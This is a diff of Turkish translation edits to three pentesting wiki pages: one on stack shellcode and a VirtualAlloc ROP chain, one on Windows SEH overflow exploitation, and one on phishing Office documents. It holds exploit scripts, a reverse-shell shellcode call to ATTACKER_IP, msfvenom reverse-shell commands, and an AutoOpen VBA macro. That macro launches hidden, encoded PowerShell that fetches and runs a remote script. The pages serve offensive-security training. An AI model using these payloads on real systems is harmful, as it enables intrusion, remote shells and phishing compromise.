 * [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -2,11 +2,11 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Temel Bilgi
+## Temel Bilgiler
 
-**Stack shellcode** bir saldırganın shellcode'u zafiyetli bir programın stack'ine yazdığı ve ardından bu shellcode'un bulunduğu konumu işaret edecek şekilde **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'i değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu sayede shellcode çalıştırılır. Bu, hedef bir sistemde yetkisiz erişim elde etmek veya rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. Aşağıda sürecin bir dökümü, basit bir C örneği ve **pwntools** ile nasıl bir exploit yazabileceğinize dair bilgiler yer almaktadır.
+**Stack shellcode**, saldırganın shellcode'u zafiyetli bir programın stack'ine yazdığı ve ardından bu shellcode'un bulunduğu adresi işaret etmesi için **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi değiştirdiği **binary exploitation**'de kullanılan bir tekniktir; bu, shellcode'un çalışmasına neden olur. Bu, hedef sistemde yetkisiz erişim elde etmek veya rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. Aşağıda sürecin adım adım açıklaması, basit bir C örneği ve Python ile **pwntools** kullanarak nasıl bir exploit yazabileceğinize dair bilgiler yer almaktadır.
 
-### C Örneği: Zafiyetli Bir Program
+### C Örneği: Bir Zafiyetli Program
 
 Basit bir zafiyetli C programı örneğiyle başlayalım:
 ```c
@@ -24,22 +24,22 @@ printf("Returned safely\n");
 return 0;
 }
 ```
-Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır.
+Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow zafiyetine sahiptir.
 
 ### Derleme
 
-Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortamı simüle etmek için) derlemek için şu komutu kullanabilirsiniz:
+Bu programı çeşitli korumaları devre dışı bırakarak (zafiyetli bir ortamı simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
 - `-fno-stack-protector`: Stack korumasını devre dışı bırakır.
-- `-z execstack`: Stack'i çalıştırılabilir hale getirir; bu, stack'te depolanan shellcode'u çalıştırmak için gereklidir.
-- `-no-pie`: Position Independent Executable'i devre dışı bırakır; bu, shellcode'umuzun bulunacağı bellek adresini tahmin etmeyi kolaylaştırır.
-- `-m32`: Programı 32-bit executable olarak derler; genellikle exploit geliştirmede sadelik için kullanılır.
+- `-z execstack`: Stack'i yürütülebilir hale getirir; bu, stack üzerinde depolanan shellcode'un çalıştırılması için gereklidir.
+- `-no-pie`: Position Independent Executable'i (PIE) devre dışı bırakır; shellcode'un bellekte bulunacağı adresi tahmin etmeyi kolaylaştırır.
+- `-m32`: Programı 32-bit bir yürütülebilir olarak derler; exploit geliştirmede genellikle basitlik için kullanılır.
 
-### Python'da Pwntools kullanarak Exploit
+### Pwntools kullanarak Python exploit
 
-Aşağıda **pwntools** kullanarak Python'da bir exploit yazarak **ret2shellcode** saldırısını nasıl gerçekleştirebileceğinizi gösteren bir örnek bulunmaktadır:
+Aşağıda **pwntools** kullanarak bir **ret2shellcode** saldırısı gerçekleştirmek için Python'da nasıl bir exploit yazabileceğiniz gösterilmektedir:
 ```python
 from pwn import *
 
@@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
-Bu script, **NOP slide**, **shellcode** içeren ve ardından **EIP**'i NOP slide'a işaret eden adresle üzerine yazarak shellcode'un çalışmasını sağlayan bir payload oluşturur.
+This script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'a işaret eden adresle üzerine yazarak shellcode'un çalıştırılmasını sağlayan bir payload oluşturur.
 
-The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
+The **NOP slide** (`asm('nop')`) tam adresten bağımsız olarak yürütmenin shellcode'umuza "slide" yapma ihtimalini artırmak için kullanılır. `p32()` argümanını buffer'ınızın başlangıç adresine ek bir offset ekleyerek NOP slide'a düşecek şekilde ayarlayın.
 
 ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
 
-On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
+Modern Windows'ta stack non-executable (DEP/NX) olarak ayarlıdır. Stack BOF'tan sonra stack-resident shellcode'u yine de çalıştırmanın yaygın bir yolu, module Import Address Table (IAT) içinden VirtualAlloc (veya VirtualProtect) çağıran bir 64-bit ROP zinciri inşa etmek, stack'in bir bölgesini executable hale getirmek ve ardından zincirin hemen sonrasına eklenmiş shellcode'a dönmektir.
 
 Önemli noktalar (Win64 calling convention):
 - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
-- RCX = lpAddress → mevcut stack'te bir adres seçin (e.g., RSP) böylece yeni ayırılan RWX bölge payload'unuzla çakışsın
-- RDX = dwSize → zinciriniz + shellcode'unuz için yeterince büyük (e.g., 0x1000)
+- RCX = lpAddress → mevcut stack'te bir adres seçin (ör. RSP) böylece yeni ayrılan RWX bölgesi payload'unuzla çakışsın
+- RDX = dwSize → zinciriniz + shellcode için yeterince büyük (ör. 0x1000)
 - R8  = flAllocationType = MEM_COMMIT (0x1000)
 - R9  = flProtect = PAGE_EXECUTE_READWRITE (0x40)
-- Zincirin hemen sonrasına konan shellcode'a doğrudan dönün.
+- Zincirin hemen sonrasına yerleştirilmiş shellcode'a doğrudan dönün.
 
 Minimal strateji:
-1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
-2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
-3) Place stage-2 shellcode immediately after the chain.
+1) Leak a module base elde edin (ör. format-string, object pointer, vb.) ve ASLR altında mutlak gadget ve IAT adreslerini hesaplayın.
+2) RCX/RDX/R8/R9'i yüklemek için gadget'lar bulun (pop veya mov/xor tabanlı diziler) ve call/jmp [VirtualAlloc@IAT]. Eğer doğrudan pop r8/r9 yoksa, sabitleri sentezlemek için aritmetik gadget'lar kullanın (ör. r8=0 yapıp r9'a 0x40'ı kırk kez ekleyerek 0x1000'e ulaşmak).
+3) Stage-2 shellcode'u zincirin hemen sonrasına yerleştirin.
 
-Örnek düzen (kavramsal):
+Example layout (conceptual):
 ```
 # ... padding up to saved RIP ...
 # R9 = 0x40 (PAGE_EXECUTE_READWRITE)
@@ -104,10 +104,11 @@ POP_RDX_RET; 0x1000
 JMP_SHELLCODE_OR_RET
 # ---- stage-2 shellcode (x64) ----
 ```
-Sınırlı bir gadget setiyle, register değerlerini dolaylı olarak oluşturabilirsiniz, örneğin:
-- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9'u rbx'ten ayarlar, r8'i sıfırlar ve stack'i bir junk qword ile telafi eder.
+Kısıtlı bir gadget set ile register değerlerini dolaylı olarak oluşturabilirsiniz; örneğin:
+
+- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9'u rbx'ten ayarlar, r8'i sıfırlar ve stack'i gereksiz bir qword ile telafi eder.
 - xor rbx, rsp; ret → rbx'i mevcut stack pointer ile başlatır.
-- push rbx; pop rax; mov rcx, rax; ret → RSP'den türetilmiş değeri RCX'e taşır.
+- push rbx; pop rax; mov rcx, rax; ret → RSP'den türeyen değeri RCX'e taşır.
 
 Pwntools taslağı (bilinen bir base ve gadgets verildiğinde):
 ```python
@@ -133,31 +134,31 @@ rop += p64(IAT_VirtualAlloc)
 rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
 ```
 İpuçları:
-- VirtualProtect benzer şekilde çalışır eğer mevcut bir buffer'ı RX yapmak tercih ediliyorsa; parametre sırası farklıdır.
-- Eğer stack alanı kısıtlıysa, RWX başka bir yerde ayır (RCX=NULL) ve stack'i tekrar kullanmak yerine o yeni bölgeye jmp yap.
-- RSP'yi ayarlayan gadget'ları (e.g., add rsp, 8; ret) her zaman hesaba katmak için araya junk qwords ekle.
+- VirtualProtect benzer şekilde çalışır; mevcut bir buffer'ı RX yapmak tercih edilirse parametre sırası farklıdır.
+- Eğer stack alanı dar ise RWX'i başka bir yerde ayırın (RCX=NULL) ve stack'i yeniden kullanmak yerine o yeni bölgeye jmp yapın.
+- RSP'yi ayarlayan gadget'ları (ör. add rsp, 8; ret) her zaman hesaba katın; araya çöp qword'lar ekleyin.
 
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır**, çünkü adresin yürütmeler arasında güvenilir olması için; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmaz ve win fonksiyonunun nerede yüklendiğini bulmak için bir leak gerekir.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) aynı şekilde devre dışı bırakılmalıdır yoksa kompromit edilmiş EIP dönüş adresi asla takip edilmeyecektir.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, o bölge çalıştırılabilir olmayacağı için stack içindeki shellcode'un yürütülmesini engeller.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres çalıştırmalar arasında güvenilir olsun; aksi takdirde fonksiyonun depolanacağı adres her zaman aynı olmaz ve win fonksiyonunun nerede yüklendiğini anlamak için bir leak gerekir.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) ayrıca devre dışı bırakılmalıdır; aksi halde bozulmuş EIP dönüş adresi asla takip edilmeyecektir.
+- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, stack içindeki shellcode'un çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır.
 
-## Diğer Örnekler & Referanslar
+## Diğer Örnekler ve Referanslar
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR ile stack adres leak kullanılarak, shellcode yazıp ona atla
+- 64bit, ASLR ile stack adres leak'i; shellcode yazıp ona jump yapılmasını gösterir
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32 bit, ASLR ile stack leak, shellcode yazıp ona atla
+- 32 bit, ASLR ile stack leak; shellcode yazıp ona jump yapılması
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR ile stack leak, exit() çağrısını engellemek için karşılaştırma, bir değişkeni bir değerle overwrite etme, shellcode yazıp ona atla
+- 32 bit, ASLR ile stack leak; exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle üzerine yazma, shellcode yazıp ona jump yapılması
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-- arm64, ASLR yok, stack'i çalıştırılabilir yapmak için ROP gadget ve stack'teki shellcode'a atlama
+- arm64, ASLR yok; stack'i executable yapmak için ROP gadget ve stack'teki shellcode'a jump yapılması
 
 
 ## Referanslar
 
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
-- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
+- [VirtualAlloc dokümantasyonu](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/binary-exploitation/stack-overflow/windows-seh-overflow.md

@@ -2,24 +2,24 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-SEH-based exploitation, stack'ta saklanan Structured Exception Handler zincirini suistimal eden klasik bir x86 Windows tekniğidir. Bir stack buffer overflow iki 4-byte alanı overwrite ettiğinde
+SEH-based exploitation, stack üzerinde saklanan Structured Exception Handler zincirini suistimal eden klasik bir x86 Windows tekniğidir. Bir stack buffer overflow iki 4 baytlık alanı ezdiğinde
 
 - nSEH: sonraki SEH kaydına işaretçi, ve
 - SEH: exception handler fonksiyonuna işaretçi
 
-bir saldırgan yürütmeyi şu şekilde ele geçirebilir:
+saldırgan yürütmeyi şu şekilde ele geçirebilir:
 
-1) SEH'yi non-protected bir modüldeki POP POP RET gadget'inin adresine ayarlamak, böylece bir exception dispatch edildiğinde gadget saldırgan-kontrollü baytlara döner, ve
-2) nSEH'yi kullanarak yürütmeyi (genellikle bir short jump) shellcode'un bulunduğu büyük taşan buffer'a geri yönlendirmek.
+1) SEH'yi, korumasız bir modülde bulunan bir POP POP RET gadget'ının adresine ayarlayarak — böylece bir exception tetiklendiğinde gadget saldırgan-kontrollü baytlara geri döner, ve
+2) nSEH'yi kullanarak yürütmeyi (tipik olarak kısa bir jump) shellcode'un bulunduğu ve taşma yapan büyük buffera geri yönlendirerek.
 
-Bu teknik 32-bit süreçlere (x86) özgüdür. Modern sistemlerde gadget için SafeSEH ve ASLR olmayan bir modül tercih edin. Kötü karakterler genellikle C-strings ve HTTP parsing nedeniyle 0x00, 0x0a, 0x0d (NUL/CR/LF) gibi değerleri içerir.
+Bu teknik 32-bit proseslere (x86) özgüdür. Modern sistemlerde gadget için SafeSEH ve ASLR olmayan bir modül tercih edin. Kötü karakterler genellikle C-strings ve HTTP parsing nedeniyle 0x00, 0x0a, 0x0d (NUL/CR/LF) içerir.
 
 ---
 
 ## Tam offsetleri bulma (nSEH / SEH)
 
-- Process'i çökertin ve SEH zincirinin overwrite edildiğini doğrulayın (ör., x32dbg/x64dbg'de SEH view'i kontrol edin).
-- Taşan veri olarak bir cyclic pattern gönderin ve nSEH ile SEH'ye düşen iki dword'un offsetlerini hesaplayın.
+- Süreci çökertin ve SEH zincirinin ezildiğini doğrulayın (örn., x32dbg/x64dbg içinde SEH görünümünü kontrol edin).
+- Taşma verisi olarak cyclic pattern gönderin ve nSEH ile SEH'ye düşen iki dword'un offsetlerini hesaplayın.
 
 Example with peda/GEF/pwntools on a 1000-byte POST body:
 ```bash
@@ -33,24 +33,24 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
 # ➜ offsets example: nSEH=660, SEH=664
 ```
-Doğrulamak için bu pozisyonlara işaretleyiciler yerleştirin (ör. nSEH=b"BB", SEH=b"CC"). Çöküşün yeniden üretilebilir olması için toplam uzunluğu sabit tutun.
+O pozisyonlara işaretleyiciler yerleştirerek doğrulayın (ör. nSEH=b"BB", SEH=b"CC"). Çöküşün tekrarlanabilir olması için toplam uzunluğu sabit tutun.
 
 ---
 
-## POP POP RET (SEH gadget) seçimi
+## POP POP RET (SEH gadget) Seçimi
 
-SEH çerçevesini açmak ve nSEH baytlarınıza dönmek için bir POP POP RET dizisine ihtiyacınız var. Bunu SafeSEH olmayan ve tercihen ASLR'siz bir modülde bulun:
+SEH çerçevesini açmak ve nSEH byte'larınıza geri dönmek için bir POP POP RET dizisine ihtiyacınız var. Bunu SafeSEH olmayan ve ideal olarak ASLR olmayan bir modülde bulun:
 
 - Mona (Immunity/WinDbg): `!mona modules` ardından `!mona seh -m modulename`.
-- x64dbg plugin ERC.Xdbg: `ERC --SEH` POP POP RET gadgets ve SafeSEH durumunu listelemek için.
+- x64dbg plugin ERC.Xdbg: `ERC --SEH` ile POP POP RET gadget'larını ve SafeSEH durumunu listeleyin.
 
-Küçük-endian yazıldığında badchars içermeyen bir adres seçin (ör. `p32(0x004094D8)`). Koruma mekanizmaları izin veriyorsa gadget'ları vulnerable binary içinde tercih edin.
+Little-endian yazıldığında badchars içermeyen bir adres seçin (ör. `p32(0x004094D8)`). Koruma mekanizmaları izin veriyorsa gadget'ları vulnerable binary içinde tercih edin.
 
 ---
 
 ## Geri atlama tekniği (short + near jmp)
 
-nSEH sadece 4 bayttır; bu en fazla 2 baytlık bir short jump (`EB xx`) artı dolguya sığar. Buffer başlangıcınıza ulaşmak için yüzlerce bayt geri atlamanız gerekiyorsa, nSEH'den hemen önce yerleştirilmiş 5 baytlık bir near jump kullanın ve nSEH'den yapılan short jump ile ona zincirleyin.
+nSEH yalnızca 4 byte'tır ve en fazla 2-byte'lık bir short jump (`EB xx`) artı padding'e sığar. Eğer buffer başlangıcına erişmek için yüzlerce byte geri atlamak zorundaysanız, nSEH'den hemen önce yerleştirilmiş 5-byte'lık bir near jump kullanın ve nSEH'den yapılan short jump ile ona zincirleyin.
 
 nasmshell ile:
 ```text
@@ -61,7 +61,7 @@ EBF6
 nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
 E96FFDFFFF
 ```
-nSEH'nin offset 660'da olduğu 1000-byte payload için düzen fikri:
+660 offsetinde nSEH bulunan 1000-byte payload için düzen fikri:
 ```python
 buffer_length = 1000
 payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
@@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pa
 payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
 payload += b"D" * (buffer_length - len(payload))
 ```
-Çalışma akışı:
-- İstisna oluşur, dispatcher üzerine yazılmış SEH'yi kullanır.
-- POP POP RET, nSEH'imize geri sarılır.
-- nSEH, 5 baytlık near jump içine `jmp short -8` çalıştırır.
-- Near jump, buffer'ımızın başına iner; burası NOP sled + shellcode'un bulunduğu yerdir.
+Execution flow:
+- İstisna oluşur; dispatcher üzerine yazılmış SEH'i kullanır.
+- POP POP RET, nSEH'imize doğru açılma (unwind) gerçekleştirir.
+- nSEH, 5-byte near jump içine `jmp short -8` çalıştırır.
+- Near jump, buffer'ımızın başlangıcına iner; burada NOP sled + shellcode bulunur.
 
 ---
 
-## Bad characters
+## Kötü karakterler
 
-Tam bir badchar dizisi oluşturun ve çökme sonrası stack belleğini karşılaştırarak hedef parser tarafından bozulmuş byte'ları çıkarın. HTTP tabanlı overflows için, `\x00\x0a\x0d` neredeyse her zaman hariç tutulur.
+Tam bir badchar string oluşturun ve çöküş sonrası stack memory'yi karşılaştırarak, hedef parser tarafından bozulmuş byte'ları çıkarın. HTTP-based overflows için, `\x00\x0a\x0d` neredeyse her zaman hariç tutulur.
 ```python
 badchars = bytes([x for x in range(1,256)])
 payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case
@@ -90,12 +90,12 @@ payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for
 
 ## Shellcode generation (x86)
 
-msfvenom'i badchars ile kullanın. Küçük bir NOP sled, iniş konumu sapmalarını tolere etmeye yardımcı olur.
+msfvenom'i badchars ile kullanın. Küçük bir NOP sled iniş varyansını tolere etmeye yardımcı olur.
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f python -v sc
 ```
-Eğer anında oluşturuluyorsa, hex formatı Python'da gömmek ve unhex yapmak için kullanışlıdır:
+Eğer dinamik olarak üretiyorsanız, hex formatı Python'da embed etmek ve unhex yapmak için kullanışlıdır:
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f hex
@@ -104,7 +104,7 @@ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LP
 
 ## HTTP üzerinden gönderme (kesin CRLF + Content-Length)
 
-Zafiyet vektörü bir HTTP request body olduğunda, sunucunun taşan gövdenin tamamını okuması için kesin CRLFs ve Content-Length ile ham bir istek oluşturun.
+Zafiyet vektörü bir HTTP isteği gövdesiyse, sunucunun taşan gövdeyi tamamen okumasını sağlamak için tam CRLFs ve Content-Length ile ham bir istek oluşturun.
 ```python
 # pip install pwntools
 from pwn import remote
@@ -127,21 +127,21 @@ p.close()
 
 ## Araçlar
 
-- x32dbg/x64dbg ile SEH zincirini gözlemlemek ve çöküşü değerlendirmek.
-- ERC.Xdbg (x64dbg eklentisi) ile SEH gadgets'larını listelemek: `ERC --SEH`.
-- Alternatif olarak Mona: `!mona modules`, `!mona seh`.
-- Kısa/near jump'ları assemble etmek ve ham opcode'ları kopyalamak için nasmshell.
-- Hassas ağ payload'ları oluşturmak için pwntools.
+- x32dbg/x64dbg ile SEH chain'i gözlemlemek ve crash'i triage etmek.
+- ERC.Xdbg (x64dbg eklentisi) ile SEH gadget'larını listelemek için: `ERC --SEH`.
+- Mona alternatif olarak: `!mona modules`, `!mona seh`.
+- nasmshell kısa/near jump'ları assemble etmek ve ham opcode'ları kopyalamak için.
+- pwntools hassas ağ payload'ları oluşturmak için.
 
 ---
 
 ## Notlar ve uyarılar
 
-- Sadece x86 prosesleri için geçerlidir. x64 farklı bir SEH şeması kullanır ve SEH-based exploitation genellikle mümkün değildir.
-- SafeSEH ve ASLR olmayan modüllerdeki gadgets'ları tercih edin; aksi takdirde, süreçte yüklü korumasız bir modül bulun.
-- Çökme sonrası otomatik yeniden başlatma yapan service watchdog'ları, iterative exploit development'i kolaylaştırabilir.
+- Yalnızca x86 süreçlerine uygulanır. x64 farklı bir SEH şeması kullanır ve SEH-based exploitation genellikle uygulanabilir değildir.
+- SafeSEH ve ASLR olmayan modüllerdeki gadget'ları tercih edin; aksi halde, süreç içine yüklenmiş korumasız bir modül bulun.
+- Çökme sonrasında otomatik yeniden başlatma yapan service watchdog'ları iteratif exploit geliştirmeyi kolaylaştırabilir.
 
-## Referanslar
+## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
 - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
 - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)

src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md

@@ -1,40 +1,40 @@
-# Phishing Dosyalar & Belgeler
+# Phishing Files & Documents
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Office Belgeleri
+## Office Documents
 
-Microsoft Word, bir dosyayı açmadan önce dosya veri doğrulaması yapar. Veri doğrulaması, OfficeOpenXML standardına göre veri yapısı tanımlaması şeklinde gerçekleştirilir. Veri yapısı tanımlaması sırasında herhangi bir hata oluşursa, incelenen dosya açılmaz.
+Microsoft Word bir dosyayı açmadan önce dosya veri doğrulaması gerçekleştirir. Veri doğrulaması, OfficeOpenXML standardına karşı veri yapı tanımlaması şeklinde yapılır. Veri yapı tanımlaması sırasında herhangi bir hata oluşursa, analiz edilen dosya açılmayacaktır.
 
-Genellikle makro içeren Word dosyaları `.docm` uzantısını kullanır. Ancak dosya uzantısını değiştirerek dosyayı yeniden adlandırmak ve makro çalıştırma yeteneklerini korumak mümkündür.\
-Örneğin, RTF formatı tasarım gereği makro desteği sağlamaz, ancak bir `.docm` dosyası RTF olarak yeniden adlandırılırsa Microsoft Word tarafından işlenecek ve makro çalıştırma yeteneğine sahip olacaktır.\
-Aynı iç yapılar ve mekanizmalar Microsoft Office Suite içindeki tüm yazılımlar için geçerlidir (Excel, PowerPoint vb.).
+Genellikle, makro içeren Word dosyaları `.docm` uzantısını kullanır. Ancak, dosya uzantısını değiştirerek dosyanın adını değiştirmek ve yine de makro çalıştırma yeteneklerini korumak mümkündür.\
+Örneğin, bir RTF dosyası tasarım gereği makroları desteklemez, ancak DOCM olarak yeniden adlandırılan bir dosya RTF olarak Microsoft Word tarafından işlenir ve makro çalıştırma yeteneğine sahip olur.\
+Aynı içyapılar ve mekanizmalar Microsoft Office Suite (Excel, PowerPoint etc.) yazılımlarının tamamı için geçerlidir.
 
 Bazı Office programları tarafından hangi uzantıların çalıştırılacağını kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
 ```bash
 assoc | findstr /i "word excel powerp"
 ```
-DOCX dosyaları, makrolar içeren uzak bir şablona referans veriyorsa (File –Options –Add-ins –Manage: Templates –Go) makroları da “çalıştırabilir”.
+DOCX dosyaları makrolar içeren ve uzak bir template'e referans veren (File –Options –Add-ins –Manage: Templates –Go) makroları da “çalıştırabilir.”
 
-### Harici Resim Yükleme
+### Harici Görsel Yükleme
 
-Şuraya gidin: _Insert --> Quick Parts --> Field_\
-_**Kategoriler**: Links and References, **Alan adları**: includePicture, ve **Dosya adı veya URL**:_ http://<ip>/whatever
+Git: _Insert --> Quick Parts --> Field_\
+_**Kategoriler**: Links and References, **Filed names**: includePicture ve **Dosya adı veya URL**:_ http://<ip>/whatever
 
 ![](<../../images/image (155).png>)
 
 ### Macros Backdoor
 
-Belgeden macros kullanarak rastgele kod çalıştırmak mümkündür.
+Belgeden makrolar kullanılarak rastgele kod çalıştırmak mümkündür.
 
-#### Autoload functions
+#### Otomatik yükleme fonksiyonları
 
-Ne kadar yaygınlarsa, AV'nin onları tespit etme olasılığı o kadar yüksek olur.
+Ne kadar yaygınlarsa, AV tarafından tespit edilme olasılığı o kadar artar.
 
 - AutoOpen()
 - Document_Open()
 
-#### Macros Code Examples
+#### Makrolar Kod Örnekleri
 ```vba
 Sub AutoOpen()
 CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@@ -64,26 +64,26 @@ Dim proc As Object
 Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
 proc.Create "powershell <beacon line generated>
 ```
-#### Meta verilerini elle kaldırma
+#### Meta verileri elle kaldırma
 
-Şu menüye gidin: **File > Info > Inspect Document > Inspect Document**, bu işlem Document Inspector'ı açacaktır. **Inspect**'e tıklayın ve ardından **Document Properties and Personal Information** yanında **Remove All**'a tıklayın.
+Şuraya gidin: **File > Info > Inspect Document > Inspect Document**, bu Document Inspector'ı açacaktır. **Inspect**'e tıklayın ve sonra **Document Properties and Personal Information** yanında **Remove All**'a tıklayın.
 
-#### Belge uzantısı
+#### Belge Uzantısı
 
-İşlem bittikten sonra **Save as type** açılır menüsünden formatı **`.docx`**'ten **Word 97-2003 `.doc`**'a değiştirin.\
-Bunu yapın çünkü **`.docx` içine makro kaydedemezsiniz** ve makro etkin **`.docm`** uzantısı etrafında bir **stigma** vardır (ör. küçük resim simgesinde büyük bir `!` bulunur ve bazı web/e-posta geçitleri bunları tamamen engeller). Bu nedenle bu **eski `.doc` uzantısı en iyi uzlaşıdır**.
+İşlem tamamlandığında, **Save as type** açılır menüsünden biçimi **`.docx`**'ten **Word 97-2003 `.doc`**'a değiştirin.\
+Bunu yapın çünkü **`.docx` içinde macro'ları kaydedemezsiniz** ve macro-enabled **`.docm`** uzantısı etrafında bir olumsuz algı vardır (ör. küçük resim simgesinde büyük bir `!` bulunur ve bazı web/e-posta gateway'leri bunları tamamen engeller). Bu nedenle, **eski `.doc` uzantısı en iyi uzlaşıdır**.
 
-#### Malicious Macros Generators
+#### Kötü Amaçlı Macro Generator'ları
 
 - MacOS
 - [**macphish**](https://github.com/cldrn/macphish)
